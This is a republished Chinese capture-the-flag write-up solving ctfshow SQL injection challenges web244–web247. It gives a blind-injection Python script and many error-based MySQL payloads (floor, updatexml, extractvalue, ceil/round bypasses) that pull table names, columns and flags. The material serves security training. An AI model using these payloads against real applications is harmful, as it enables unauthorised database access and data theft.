欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 汽车 > 新车 > ctfshow-web入门-sql注入(web244-web247)error 报错注入

ctfshow-web入门-sql注入(web244-web247)error 报错注入

2024/10/25 2:27:55 来源:https://blog.csdn.net/Myon5/article/details/142129129  浏览:    关键词:ctfshow-web入门-sql注入(web244-web247)error 报错注入

目录

1、web244 

2、web245

3、web246

4、web247


1、web244 

在它查询框这里随便输什么都没有回显

还是在 api 接口下传参,输入存在 id:

/api/?id=1

查询成功

输入不存在的 id:

/api/?id=0

查询失败

追加单引号后,报 sql 语法错误:

/api/?id=0'

这里的回显要么是查询成功,要么是查询失败,因此无法使用联合查询注入,很典型的布尔盲注特征,注意这里用于闭合的注释符需要使用 url 编码的形式:

题目是想考报错注入,这里我先介绍盲注。

查表名:

payload = (f"id=0'or if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{j},1)='{k}',1,0)%23")

有一个名为 ctfshow_flag 的表,查列名:

payload = f"id=0'or if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flag'),{j},1)='{k}',1,0)%23"

有一列就叫 flag,直接查它的内容:

payload = f"id=0'or if(substr((select flag from ctfshow_flag),{j},1)='{k}',1,0)%23" 

拿到 flag:ctfshow{9b9276fd-3180-4d98-97d8-94ccd6ffcb4a}

当然使用时间盲注也是一回事,只是布尔盲注更准确。

附上勇师傅的完整脚本:

# @author:Myon
# @time:20240911
import requests
import stringurl = 'http://1857171c-8ab4-4029-8732-9982731b6f74.challenge.ctf.show/api/'
dic = string.digits+string.ascii_lowercase+'{}-_'
out = ''for j in range(1,50):for k in dic:# payload = (f"id=0'or if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{j},1)='{k}',1,0)%23") # 跑表名# print(payload)# payload = f"id=0'or if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flag'),{j},1)='{k}',1,0)%23"  # 跑列名payload = f"id=0'or if(substr((select flag from ctfshow_flag),{j},1)='{k}',1,0)%23"  # 跑flagre = requests.get(url, params=payload)# print(re.text)if "\\u67e5\\u8be2\\u6210\\u529f" in re.text: # 注意反斜杠需要转义out += kbreakprint(out)

下面介绍报错注入的方法,常用的有三个函数:floor、updatexml、extractvalue

详细介绍可以参考我之前的文章:

最常见的SQL报错注入函数(floor、updatexml、extractvalue)及payload总结_报错注入payload-CSDN博客icon-default.png?t=O83Ahttps://myon6.blog.csdn.net/article/details/135184385这里不再过多赘述,直接上 payload,为了大家了解,我将分别使用这三个函数进行数据库名、表名、列名的查询。

先用 floor 函数查数据库名:

/api/?id=0'or (select 1 from (select count(*),concat(0x23,(database()),0x23,floor(rand(0)*2)) as x from information_schema.columns group by x) as y)%23

我这里的非 xpath 字符用的 0x23,因此我们的报错结果会出现在 # 之后

得到数据库名为 ctfshow_web

使用 updatexml 函数查表名:

这里非 xpath 字符我用的 0x7e,因此我们的报错结果会出现在 ~ 后面

/api/?id=0'or (select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='ctfshow_web')),0x7e))%23

同样得到表名 ctfshow_flag

再使用 extractvalue 函数查列名:

/api/?id=0'or (select extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='ctfshow_web'and table_name='ctfshow_flag'))))%23

得到列名为 flag,那么最后就是直接查 flag 的值了,随便用哪个函数都可以:

这里我们又用回 floor

/api/?id=0'or (select 1 from (select count(*),concat(0x23,(select flag from ctfshow_flag),0x23,floor(rand(0)*2)) as x from information_schema.columns group by x) as y)%23

同样拿到 flag:ctfshow{9b9276fd-3180-4d98-97d8-94ccd6ffcb4a}

只要你玩通透了想怎么来怎么来

2、web245

 过滤 updatexml,用其他的即可,查表名:

/api/?id=0'or (select extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()))))%23

ctfshow_flagsa

查列名:

/api/?id=0'or (select extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='ctfshow_flagsa'))))%23

flag1

查字段:

/api/?id=0'or (select extractvalue(1,concat(0x7e,(select flag1 from ctfshow_flagsa))))%23

ctfshow{220da1a3-3a42-47bf-9184 只有前半段,对长度有限制。

我们换用 floor 函数:

/api/?id=0'or (select 1 from (select count(*),concat(0x23,(select flag1 from ctfshow_flagsa),0x23,floor(rand(0)*2)) as x from information_schema.columns group by x) as y)%23

拿到 flag:ctfshow{220da1a3-3a42-47bf-9184-9ba44cb0ec40}

3、web246

过滤updatexml extractvalue,用 floor

查表名:

/api/?id=0'or (select 1 from (select count(*),concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x23,floor(rand(0)*2)) as x from information_schema.columns group by x) as y)%23

有多行数据

用 limit 试试:

/api/?id=0'or (select 1 from (select count(*),concat(0x23,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x23,floor(rand(0)*2)) as x from information_schema.columns group by x) as y)%23

修改 limit 参数,查第二个数据

/api/?id=0'or (select 1 from (select count(*),concat(0x23,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x23,floor(rand(0)*2)) as x from information_schema.columns group by x) as y)%23

ctfshow_flags

查列名:

/api/?id=0'or (select 1 from (select count(*),concat(0x23,(select column_name from information_schema.columns where table_schema=database() and table_name='ctfshow_flags' limit 1,1),0x23,floor(rand(0)*2)) as x from information_schema.columns group by x) as y)%23

flag2

查字段内容:

/api/?id=0'or (select 1 from (select count(*),concat(0x23,(select flag2 from ctfshow_flags ),0x23,floor(rand(0)*2)) as x from information_schema.columns group by x) as y)%23

拿到 flag:ctfshow{75898391-fc6b-4d5f-9d3d-4efa1b157861}

4、web247

三个都过滤了

方法(1)使用 web244 的盲注

跑了一下是可行的,这里就不再重复演示了

方法(2)使用 round 或者 ceil 替换 floor

floor() 是向下取整,ceil() 是向上取整,round() 是四舍五入取整。

使用 ceil 函数,查表名:

/api/?id=0'or (select 1 from (select count(*),concat(0x23,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x23,ceil(rand(0)*2)) as x from information_schema.columns group by x) as y)%23

ctfshow_flagsa

使用 round 函数查列名:

/api/?id=0'or (select 1 from (select count(*),concat(0x23,(select column_name from information_schema.columns where table_schema=database() and table_name='ctfshow_flagsa' limit 1,1),0x23,round(rand(0)*2)) as x from information_schema.columns group by x) as y)%23

flag?

查字段:

这里直接用问号会报错,使用反引号包裹:

/api/?id=0'or (select 1 from (select count(*),concat(0x23,(select `flag?` from ctfshow_flagsa),0x23,round(rand(0)*2)) as x from information_schema.columns group by x) as y)%23

拿到 flag:ctfshow{3636a2a1-2c2b-4513-8d67-efa7182ec83a}

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com